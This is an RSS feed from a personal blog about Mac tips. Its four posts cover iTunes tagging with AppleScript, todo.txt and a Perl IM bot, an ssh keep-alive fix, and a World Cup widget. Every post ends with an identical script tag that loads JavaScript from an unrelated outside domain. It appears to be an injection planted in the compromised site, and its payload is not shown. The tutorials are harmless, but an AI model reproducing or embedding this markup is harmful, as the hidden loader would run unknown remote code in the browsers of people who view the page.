<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Mac</title>
	<atom:link href="http://headphono.us/category/mac/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Keeping iTunes organized with tags</title>
		<link>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/</link>
		<comments>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/#comments</comments>
		<pubDate>Sat, 22 Sep 2007 11:49:03 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=31</guid>
		<description><![CDATA[I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for [...]]]></description>
			<content:encoded><![CDATA[<p>I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for my mp3&#8217;s. Luckily, iTunes already has support for a mp3 tag called &#8220;Grouping&#8221;.</p>
<p>Searching around a bit, I found that <a href="http://tunetag.com/?page_id=6">Chris Brown</a> had already thought of this way back in May 06. He created an applescript called <a href="http://tunetag.com/">TuneTag</a> which was exactly what I was looking for. Except that I wanted to use the Grouping field instead of the more general Comments field (which I use for other purposes).</p>
<p>After a little bit of tweaking (actually just a search and replace), I integrated the script with <a href="http://quicksilver.blacktree.com">Quicksilver</a> (copy the .scpt files to <code>~/Library/Application Support/Quicksilver/Actions</code>). Once you&#8217;ve gotten that done, pull up the Quicksilver menu, hit the &#8220;.&#8221; and type your (space-separated) tags, tab over and type in &#8220;tag&#8221; to pull up the script and hit Enter.</p>
<p>That should start you off adding tags to your current playing song. But proper organization goes a little further. I listen (read screen) a lot of songs to see if they&#8217;re up to my *ahem* world-class quality. I usually have a smart playlist set up to only include the songs added to the collection in the last day. I go through this list, and if I like any of the songs, I add a tag (using all the stuff above) called &#8220;atc&#8221; (add to collection). The final step is to add a new smart playlist to only keep off of the &#8220;atc&#8221; tag so that you can copy these songs over to your permanent collection while getting rid of the rest easily.</p>
<p><a href="http://headphono.us/code/TuneTag%20v1.2.1.zip">Here&#8217;s the modified script released under a Creative Commons license.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>todo.txt and Multi-user IM bot</title>
		<link>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/</link>
		<comments>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/#comments</comments>
		<pubDate>Sun, 23 Jul 2006 04:37:50 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=22</guid>
		<description><![CDATA[I started using the minimal but feature-rich todo.txt by Gina Trapani today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.
A few tweaks you may [...]]]></description>
			<content:encoded><![CDATA[<p>I started using the minimal but feature-rich <a href="http://todotxt.com">todo.txt by Gina Trapani</a> today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.</p>
<p>A few tweaks you may want to use to further enhance. I found myself typing <strong>&#8220;ls&#8221;</strong> for <strong>&#8220;list&#8221;</strong> too often and then having to correct it. To have &#8220;ls&#8221; also work as &#8220;list&#8221;, change line 271 from <code>271:   "list" )</code> to <code>271:   "list" | "ls" )</code>. You can also do the same for <strong>&#8220;do&#8221;</strong> (or <strong>&#8220;done&#8221;</strong> as I like it). Change line 254 from <code>254:   "do" )</code> to <code>254:   "do" | "done" )</code></p>
<p>Finally, I edited the todobot.pl script to support multi-user control. <a href="http://headphono.us/code/todobot-pl.txt">Download the updated todobot.pl script</a>. Rename the file to <strong>todobot.pl</strong>. You can add multiple usernames by separating them with commas like: <code>my $commander = 'username1, username2, username3';</code></p>
<p><strong>Update</strong>: I&#8217;ve changed the todobot.pl to include a <strong>&#8220;die&#8221;</strong> command so that you can take it offline remotely. This signs the bot out of AIM, and also gracefully kills the todobot.pl script. This is included in the todobot.pl script above.</p>
<p>Now you can run the script as <code>perl todobot.pl > /dev/null &#038;</code> (pipes the output to null so it doesn&#8217;t clutter up your Terminal and also pushes the process to the background). This is where the &#8220;die&#8221; command comes in handy &#8211; no more having to figure out the process id to kill your IM bot.</p>
<p>Please email bugs to mxz at headphono.us<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSX Terminal: Solve the &#8220;Connection reset by peer&#8221; problem</title>
		<link>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/</link>
		<comments>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/#comments</comments>
		<pubDate>Fri, 21 Jul 2006 03:30:30 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=21</guid>
		<description><![CDATA[I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:

1. sudo emacs /etc/ssh_config
2. add a new line "ServerAliveInterval 60"
3. save and exit

That should do it. The next time [...]]]></description>
			<content:encoded><![CDATA[<p>I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:</p>
<p><code><br />
1. sudo emacs /etc/ssh_config<br />
2. add a new line "ServerAliveInterval 60"<br />
3. save and exit<br />
</code></p>
<p>That should do it. The next time you ssh (using either Terminal or iTerm), you&#8217;ll be sending &#8216;Keep Alive&#8217; packets every 60 seconds if the client doesn&#8217;t receive anything from the server. Optionally, if you have sysadmin access to the server you&#8217;re connecting to, you can add</p>
<pre>"ClientAliveInterval 60"</pre>
<p>in the same location server side.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>World Cup Schedule Dashboard Widget</title>
		<link>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/</link>
		<comments>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/#comments</comments>
		<pubDate>Fri, 09 Jun 2006 07:12:35 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Apps]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=16</guid>
		<description><![CDATA[I released my first widget today &#8211; the FIFA World Cup 2006 Schedule. Its powered by the good folks at www.worldcupkickoff.com and uses rss feeds to pull in the match timings. It should automatically adjust the time to the timezone set in your preferences. You also have the ability to see schedules by teams or [...]]]></description>
			<content:encoded><![CDATA[<p>I released my first widget today &#8211; the <a href="http://headphono.us/fifa-world-cup-2006-schedule-dashboard-widget/">FIFA World Cup 2006 Schedule</a>. Its powered by the good folks at <a href="http://www.worldcupkickoff.com">www.worldcupkickoff.com</a> and uses rss feeds to pull in the match timings. It should automatically adjust the time to the timezone set in your preferences. You also have the ability to see schedules by teams or by groups.</p>
<p>After much searching, being unable to find a widget for the 2006 World Cup schedule (atleast for the Mac), I decided to code it up real quick. It was a very rush job &#8211; snippets of code thrown together &#8211; so it may be a little buggy. Please forward all bugs to me at mxz AT headphono DOT us. The current version is 1.00. Watch out for bug releases (if any).</p>
<p>As always, I&#8217;d love to hear all suggestions.</p>
<p>UPDATE: Direct download link <a href="http://headphono.us/widgets/FIFAWorldCup2006ScheduleWidget.zip">here</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 2.023 seconds -->
